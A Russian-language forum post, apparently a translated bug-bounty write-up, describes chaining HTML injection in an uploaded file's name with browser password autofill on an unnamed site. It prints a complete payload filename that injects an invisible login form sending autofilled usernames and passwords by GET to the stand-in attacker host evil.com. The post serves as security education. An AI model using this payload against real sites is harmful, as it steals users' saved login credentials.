Mutt
Professional
- Messages
- 1,056
- Reaction score
- 644
- Points
- 113
Данная статья является переводом и ведется со слов автора. Оригинал тут.Эта статья носит исключительно образовательный характер. Автор не несет ответственности за любые последствия ее прочтения.
Статья расскажет вам о способе кражи пользовательских данных с помощью html-инъекции на сайте и функции автозаполнения в браузере жертвы.
Привет народ! Надеюсь, у вас все хорошо! Прошло много времени с тех пор, как я последний раз делал статью, поэтому эта публикация полностью посвящена данному твиту:
Давайте не будем терять время и начнем. Сайт запретил раскрывать себя, поэтому назовем его private.com.
HTML инъекция
Каждый мой ввод на этом сайте был корректно обработан приложением и потому мое внимание привлекла функция загрузки файлов. Мы можем загружать файлы, и есть общедоступная ссылка, которой мы можем поделиться с другими людьми, чтобы они тоже увидели мой файл. Я попытался обойти проверку расширения файла при загрузке, используя .svg, .html, .php, но мне не повезло. А затем я переименовал свой файл в <h1>xd.jpg и открыл его по общедоступной ссылке. Из-за имени файла произошла HTML-инъекция.
Итак, теперь у нас есть HTML-инъекция, следующая часть - это функция автосохранения.
Автозаполнение
В основном, когда мы сохранили учетные данные для входа в нашем браузере и хотим снова войти на сайт, браузер автоматически заполняет поле логина и пароля, а нам просто нужно нажать на кнопку логина (входа).
Поэтому я создал форму входа и сделал поле адреса электронной почты и пароля невидимыми, установив opaсity:0 в CSS, а мое окончательное имя файла выглядело так:
Code:
"><form action="//evil.com" method="GET"><input type="text" name="u" style='opacity:0;'><input type="password" name="p" style='opacity:0;'><input type="submit" name="s" value="submit"><!--.jpg

Здесь я могу получить общедоступную ссылку на загруженный мной файл.

Так выглядит страница после посещения общедоступного URL-адреса моего загруженного файла.

Когда кто-либо нажимает на кнопку submit, его учетные данные для входа отправляются на сервер злоумышленника.

Итак, как это работает? Поля ввода заполняются автоматически благодаря функции автосохранения, а style="opacity:0;" скроет детали, отображаемые на странице. При нажатии submit информация автоматически отправляется на evil.com, из-за установки METHOD='GET' учетные данные для входа будут отправлены c GET запросом на evil.com, который является доменом злоумышленника. Последние символы <!-- закомментируют оставшийся HTML.
На этом все. Спасибо за просмотр.